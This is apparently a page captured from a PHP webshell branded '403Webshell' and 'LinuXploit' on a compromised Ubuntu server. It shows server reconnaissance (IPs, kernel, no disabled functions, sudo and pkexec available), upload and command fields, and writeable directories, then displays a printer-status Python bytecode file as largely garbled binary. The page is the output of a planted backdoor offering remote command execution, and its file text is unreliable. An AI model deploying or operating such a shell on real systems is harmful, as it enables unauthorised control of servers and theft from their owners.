403Webshell
Server IP : 209.205.66.10  /  Your IP : 216.73.216.173
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ammon 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User :  ( 1006)
PHP Version : 8.5.8
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/system-config-printer/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/system-config-printer/__pycache__/statereason.cpython-310.pyc
o

3�bR�@sDddlZddlZddlZddlZejejejd�Gdd�d�ZdS)�N)�domain�	localedirc@szeZdZdZdZdZededediZddd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�ZdS)�StateReason���zdialog-informationzdialog-warningzdialog-errorNcCs8||_||_d|_d|_d|_|r|�||j�dSdS�N)�printer�reason�level�canonical_reason�_ppd�	fetch_ppd�_got_ppd)�selfr	r
�ppdcache�r�//usr/share/system-config-printer/statereason.py�__init__'s�zStateReason.__init__cCs
||_dSr)r
)r�name�result�excrrrr0s
zStateReason._got_ppdcCs|jSr)r	�rrrr�get_printer3szStateReason.get_printercCs\|jdur|jS|j�d�s|jdvr|j|_|jS|j�d�r'|j|_|jS|j|_|jS)Nz-report)�connecting-to-devicezcups-ipp-missing-cancel-jobz#cups-ipp-missing-get-job-attributesz'cups-ipp-missing-get-printer-attributeszcups-ipp-missing-job-historyzcups-ipp-missing-job-idzcups-ipp-missing-job-statez%cups-ipp-missing-operations-supportedzcups-ipp-missing-print-jobz*cups-ipp-missing-printer-is-accepting-jobsz&cups-ipp-missing-printer-state-reasonszcups-ipp-missing-send-documentzcups-ipp-missing-validate-jobzcups-ipp-wrong-http-version�-warning)rr
�endswith�REPORT�WARNING�ERRORrrrr�	get_level6s

��zStateReason.get_levelcCsh|jr|jS|��}|j}||jkr|�d�r|dd�}n||jkr.|�d�r.|dd�}||_|jS)Nri����z-errori����)rr r
rrr)rrr
rrr�
get_reasonQszStateReason.get_reasoncCsF|��|j|jkr
d}n|j|jkrd}nd}d||��|��fS)Nrrrz$<statereason.StateReason (%s,%s,%s)>)r rrrrr!)rrrrr�__repr__^s�zStateReason.__repr__c	Cs�td�td�ftd�td�ftd�td�ftd�td�ftd	�td
�ftd�td�ftd
�td�ftd�td�ftd�td�ftd�td�ftd�td�ftd�td�fd�}z$||��\}}z||��}Wn	tyqYnwW||fSW||fSty�|��|jkr�td�}n|��|jkr�td�}n|��|jkr�td�}|��}|j	r�z)gd�}d}|D]}|j	�
|j|�}|dur�||d}q�|dkr�|dd�}Wn	ty�Ynwtd �|��|f}Y||fSw)!Nz	Toner lowzPrinter '%s' is low on toner.zToner emptyzPrinter '%s' has no toner left.z
Cover openz"The cover is open on printer '%s'.z	Door openz!The door is open on printer '%s'.z	Paper lowzPrinter '%s' is low on paper.zOut of paperzPrinter '%s' is out of paper.zInk lowzPrinter '%s' is low on ink.z	Ink emptyzPrinter '%s' has no ink left.zPrinter off-linez#Printer '%s' is currently off-line.zNot connected?z"Printer '%s' may not be connected.z
Printer errorz#There is a problem on printer '%s'.zPrinter configuration errorz1There is a missing print filter for printer '%s'.)z	toner-lowztoner-emptyz
cover-openz	door-openz	media-lowzmedia-emptyzmarker-supply-lowzmarker-supply-empty�offliner�otherzcups-missing-filterzPrinter reportzPrinter warning)�text�http�help�file�z, ���zPrinter '%s': '%s'.)
�_r!r�	TypeError�KeyErrorr rrrr
�localizeIPPReasonr
�RuntimeError)	r�messages�titler%r
�schemes�localized_reason�scheme�lreasonrrr�get_descriptionks������������������


�����zStateReason.get_descriptioncCs|��|��|��fSr)r rr!rrrr�	get_tuple�szStateReason.get_tuplecCs$t|�t|�kr
dS|��|��kS�NF��typer �rr$rrr�__eq__��zStateReason.__eq__cCs$t|�t|�kr
dS|��|��kSr8r9r;rrr�__lt__�r=zStateReason.__lt__r)�__name__�
__module__�__qualname__rrr�
LEVEL_ICONrrrr r!r"r6r7r<r>rrrrrs$�
	

>r)�cups�os�config�gettext�install�PACKAGErrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit